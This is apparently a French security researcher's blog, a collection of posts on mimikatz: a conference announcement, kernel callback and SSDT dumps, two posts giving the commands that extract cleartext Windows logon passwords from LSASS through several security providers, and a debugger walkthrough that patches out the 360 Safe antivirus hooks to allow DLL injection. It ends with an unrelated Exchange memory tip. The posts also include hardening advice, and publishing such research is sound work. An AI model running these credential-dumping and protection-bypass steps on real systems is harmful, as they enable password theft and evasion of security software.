gentilkiwi @ PHDays 2012

phd
Mubix avait déjà un peu vendu la mèche ;), mais j’ai la chance d’être invité par Positive Technologies à Moscou :)

Je participerai donc en tant qu’intervenant aux Positive Hack Days (PHDays) !

Au travers de mon exercice de prédilection, les slides (!), j’y exposerai mimikatz et en particulier les secrets de la librairie sekurlsa !
slide
Les participants comprendront rapidement comment coder eux-même des modules de récupération de mots de passe Windows !

Attention : les participants du premier rang pourraient apercevoir des mots de passe en clair et avoir envie de coder des modules Meterpreter…

En dehors de ma présentation (le 31 Mai à 13 heures), j’assisterai à un maximum de concours et de conférences d’experts : http://phdays.com/program/.
Je vous encourage fortement à faire de même !

Si des francophones participent à cette conférence, n’hésitez pas à me contacter ; mon russe est trop ancien pour m’en sortir seul ;)

mimikatz : callbacks Kernel

pingouins

Prochainement documenté :

mimikatz # [...]
kListNotifyObjects

[...]
Process
 - Open        : FFFFF80002DA6960 [ntoskrnl.exe+3463520]
 - Close       : FFFFF80002D8B074 [ntoskrnl.exe+3350644]
 - Delete      : FFFFF80002D8A330 [ntoskrnl.exe+3347248]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF880033083C8 [klif.sys+218056] / FFFFF880033087D4 [klif.sys+219092]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Token
 - Delete      : FFFFF80002D9BED0 [ntoskrnl.exe+3419856]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Mutant
 - Delete      : FFFFF80002AA27E4 [ntoskrnl.exe+301028]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

File
 - Close       : FFFFF80002DDB580 [ntoskrnl.exe+3679616]
 - Delete      : FFFFF80002DCFEC0 [ntoskrnl.exe+3632832]
 - Parse       : FFFFF80002DF7AF0 [ntoskrnl.exe+3795696]
 - Security    : FFFFF80002DB3240 [ntoskrnl.exe+3514944]
 - QueryName   : FFFFF80002DB3514 [ntoskrnl.exe+3515668]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Semaphore
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Section
 - Delete      : FFFFF80002DEFFA0 [ntoskrnl.exe+3764128]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Thread
 - Open        : FFFFF80002DBF91C [ntoskrnl.exe+3565852]
 - Delete      : FFFFF80002DA9030 [ntoskrnl.exe+3473456]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF880033083C8 [klif.sys+218056] / FFFFF880033087D4 [klif.sys+219092]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Event
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

ALPC Port
 - Open        : FFFFF80002DB1980 [ntoskrnl.exe+3508608]
 - Close       : FFFFF80002D76EA0 [ntoskrnl.exe+3268256]
 - Delete      : FFFFF80002D759D4 [ntoskrnl.exe+3262932]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

L’activation de callbacks sur d’autre objets que les Process et Threads par Sandboxie en x64 est non supporté, mais cela reste quand même plus propre qu’en x86 où il remplace les procédures système par défaut de ces objets…

mimikatz # [...]
kListNotifyObjects

[...]
Process
 - Open        : 9269B070 [?]
 - Close       : 82ABFF55 [ntkrnlpa.exe+2559829]
 - Delete      : 82AC281C [ntkrnlpa.exe+2570268]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]
 * Callback 3  : 87CCACB2 [MpFilter.sys+97458] / 00000000 [?]

Token
 - Open        : 9269B020 [?]
 - Delete      : 82AA9120 [ntkrnlpa.exe+2466080]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Mutant
 - Open        : 9269B250 [?]
 - Delete      : 8290FFAB [ntkrnlpa.exe+790443]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

File
 - Close       : 82A8188B [ntkrnlpa.exe+2304139]
 - Delete      : 82A809D3 [ntkrnlpa.exe+2300371]
 - Parse       : 9269B110 [?]
 - Security    : 82AB33BD [ntkrnlpa.exe+2507709]
 - QueryName   : 82ABF86E [ntkrnlpa.exe+2558062]

Semaphore
 - Open        : 9269B2A0 [?]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Section
 - Open        : 9269B2F0 [?]
 - Delete      : 82A71981 [ntkrnlpa.exe+2238849]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Thread
 - Open        : 9269B0C0 [?]
 - Delete      : 82AB89BB [ntkrnlpa.exe+2529723]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Event
 - Open        : 9269B200 [?]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

ALPC Port
 - Open        : 9269B340 [?]
 - Close       : 82AAF0A3 [ntkrnlpa.exe+2490531]
 - Delete      : 82AAE8AC [ntkrnlpa.exe+2488492]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Device
 - Delete      : 82A0A338 [ntkrnlpa.exe+1815352]
 - Parse       : 9269B160 [?]
 - Security    : 82AB33BD [ntkrnlpa.exe+2507709]

Key
 - Close       : 82A9B2E6 [ntkrnlpa.exe+2409190]
 - Delete      : 82A8280B [ntkrnlpa.exe+2308107]
 - Parse       : 9269B1B0 [?]
 - Security    : 82A4431B [ntkrnlpa.exe+2052891]
 - QueryName   : 82A3AD00 [ntkrnlpa.exe+2014464]

Malgré le ? indiquant l’abscence de référence pour l’adresse 0x9269b070 en ligne 6, il s’agit bien de Sandboxie qui a placé un trampoline :

9269b070 8bc0            mov     eax,eax
9269b072 b88e07b191      mov     eax,offset SbieDrv+0x1378e (91b1078e)
9269b077 6a00            push    0
9269b079 6a00            push    0
9269b07b ffd0            call    eax

Re – re – re – pass the pass (word)


homer
Certains tendent le bâton… :(

Fournir aisément à autrui, par ses dires ou son comportement, l’occasion, la raison ou le simple prétexte de se faire blâmer, condamner ou punir.


Après le dernier billet sur « re – re – pass the pass » et…

  • l’absence de réaction (oui, cela a été rapide :)
  • une bonne question

… voici la suite !

Le provider

Cette fois ci nous avons le provider Kerberos ! Son fonctionnement par ticket n’impose normalement pas la réutilisation des mot de passe en clair.
Cf. une explication rapide de Microsoft : http://technet.microsoft.com/en-us/library/bb742516.aspx
kerberos par MS

Ce qui est dommage, c’est qu’une fois de plus des mots de passe sont encore conservés dans la mémoire du processus LSASS (en particulier à partir de NT 6).
mimikatz_vs_kerberos

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est toujours pas disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/sekurlsa/kerberos)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP
@getKerberos

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    Utiliser Kerberos uniquement avec des Tokens et Cartes à puce (sans délégation)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

Re – re – pass the pass (word)


maggie_incas
Toute ressemblance avec un billet précédent est malheureusement normale :(
Je ne pense pas que Microsoft change sa philosophie de gestion du SSO dans un avenir très proche…


Après le dernier billet sur « re – pass the pass » et…

  • les réactions positives de certains (Espagnols, Américains, Russes et Chinois)
  • les réactions étranges d’autres : Microsoft & Amplia Security (ça faisait juste quasi un an que je l’avais présenté…)
  • Windows 8 en approche

… voici la suite !

Le provider

Cette fois ci nous avons le provider LiveSSP qui, dans Windows 8, permet de se connecter avec son compte Microsoft Live (avec tout de même un petit cache dans la SAM locale en cas d’indisponibilité d’Internet ou des services Live).

mimikatz_vs_livessp

Remarques :

  • un compte Live est utilisé avec les providers :
    • msv1_0
    • tspkg
    • livessp
  • un compte non Live est utilisé avec les providers :
    • msv1_0
    • wdigest
    • tspkg

Téléchargement et fonctionnement

Une mise à jour de mimikatz existe, mais elle n’est pas encore disponible en téléchargement… (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d’améliorer ses processus)
Plus de release avant fin mai

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.
(plus d’information : http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/sekurlsa/livessp)

Nouvelles commandes (si besoin de séparation) :

@getMSV
@getTsPkg
@getWDigest
@getLiveSSP

@getLogonPasswords utilise les providers disponibles et connus par mimikatz.

Améliorations

  • ne garder que kerberos, msv1_0 et schannel dans la liste des providers autorisés (se référer au billet d’origine sur « pass the pass »)
    ils sont essentiels au fonctionnement des services Windows
  • demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n’y crois vraiment plus…)

360 Safe et hook noyau

Un billet rapide sur une protection m’ayant surpris : 360 Safe de nos amis chinois… (http://www.360.cn/)

Ce sacripant, même « désactivé » empêche certains accès à LSASS, et sans doute d’autres comportements déviants (en tout cas en x86).
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition KiFastCallEntry, et s’assure du maintien de ces derniers :

kd> u nt!KiFastCallEntry+0xe1
nt!KiFastCallEntry+0xe1:
8283f241 8b1487          mov     edx,dword ptr [edi+eax*4]
8283f244 e98f7adc02      jmp     85606cd8 ; trampoline vers les fonctions "HIPS", remplaçant le code original
[…]
kd> u 85606cd8 l1
85606cd8 e92bd5f4fd      jmp     Hookport+0xb208 (83554208) ; second trampoline vers les fonctions "HIPS" de 360
kd> u Hookport+0xc401 ; portions du pilote réécrivant le trampoline
Hookport+0xc401:
83555401 ffa1886a5583    jmp     dword ptr Hookport+0xda88 (83556a88)[ecx]
83555407 c600e9          mov     byte ptr [eax],0E9h  ; instruction ‘jmp’
8355540a a1886a5583      mov     eax,dword ptr [Hookport+0xda88 (83556a88)]
8355540f 8b0d786a5583    mov     ecx,dword ptr [Hookport+0xda78 (83556a78)]
83555415 894801          mov     dword ptr [eax+1],ecx ; pointeur vers le premier trampoline

Ce correcteur n’est lui même pas très protégé :

kd> f 83555407 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> f 83555415 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline

A nous l’injection de DLL, ou autres joyeusetés !

Finalement le plus compliqué est d’installer le produit, en Mandarin…

HackTool:Win32/Mikatz!dll et HackTool:Win64/Mikatz!dll

Ciel, je suis devenu un « hacktool » mais seulement du point de vue de Microsoft ;)

Vu leurs dangerosité, j’aurais personnellement blacklisté tspkg.dll et wdigest.dll, mais il est à priori plus facile d’interdire un programme mettant en avant les faiblesses d’une architecture/implémentation que de corriger ou améliorer ses points faibles…

Pourquoi pas, mais des forks de cette librairie arriveront bien ici ou ailleurs, espérons que Microsoft ne considère pas cette action de facilité comme une solution…

mimikatz : SSDT

maggie_mecanique

Prochainement documenté (même en x64 ;) :

mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : FFFFF80002F00940
kSSDT - KeServiceDescriptorTable.TableSize      : 401
[   0]  : FFFFF800030DE880 [ntoskrnl.exe+4774016]
[   1]  : FFFFF80002FC4370 [ntoskrnl.exe+3617648]
[   2]  : FFFFF80002CC57A0 [ntoskrnl.exe+477088]
[...]
[ 399]  : FFFFF800030ED270 [ntoskrnl.exe+4833904]
[ 400]  : FFFFF80002CC1D50 [ntoskrnl.exe+462160]
mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : FFFFF800011B4D80
kSSDT - KeServiceDescriptorTable.TableSize      : 296
[   0]  : FFFFF80001361FD0 [ntoskrnl.exe+3547088]
[   1]  : FFFFF8000127DF60 [ntoskrnl.exe+2613088]
[   2]  : FFFFF80001026B40 [ntoskrnl.exe+158528]
[...]
[ 294]  : FFFFF800013B38B0 [ntoskrnl.exe+3881136]
[ 295]  : FFFFF800013B3820 [ntoskrnl.exe+3880992]
mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : 805530A0
kSSDT - KeServiceDescriptorTable.TableSize      : 284
[   0]  : 80599A74 [ntkrnlpa.exe+797300]
[   1]  : 805E7820 [ntkrnlpa.exe+1116192]
[   2]  : 805EB066 [ntkrnlpa.exe+1130598]
[...]
[ 282]  : 8060F4AC [ntkrnlpa.exe+1279148]
[ 283]  : 805C18FA [ntkrnlpa.exe+960762]

Exchange 2007 et utilisation mémoire

Dans le cas d’un lab ou d’une petite organisation, le cache de base de données Exchange peut se montrer très gourmand sans réel gain.
Cela se traduit par un processus store.exe utilisant énormément de mémoire.

La taille du cache peut être diminuée via la configuration LDAP du moteur de base de donnée ESE.

  • Chemin de l’objet : Configuration/Services/Microsoft Exchange/**organisation**/Administrative Groups/**groupe administratif**/Servers/**serveur ciblé**/Information Store
  • Attribut : msExchESEParamCacheSizeMax (nombre de pages)
  • Valeur : mémoire maximale / 8192 (taille d’une page sous Exchange 2007)

Exemple pour 384 Mo : (384 * 1024 * 1024) / 8192 = 49152

msExchESEParamCacheSizeMax

Ne pas oublier de redémarrer le service : « Microsoft Exchange – Banque d’informations » / msexchangeis

Source : http://technet.microsoft.com/library/bb691304.aspx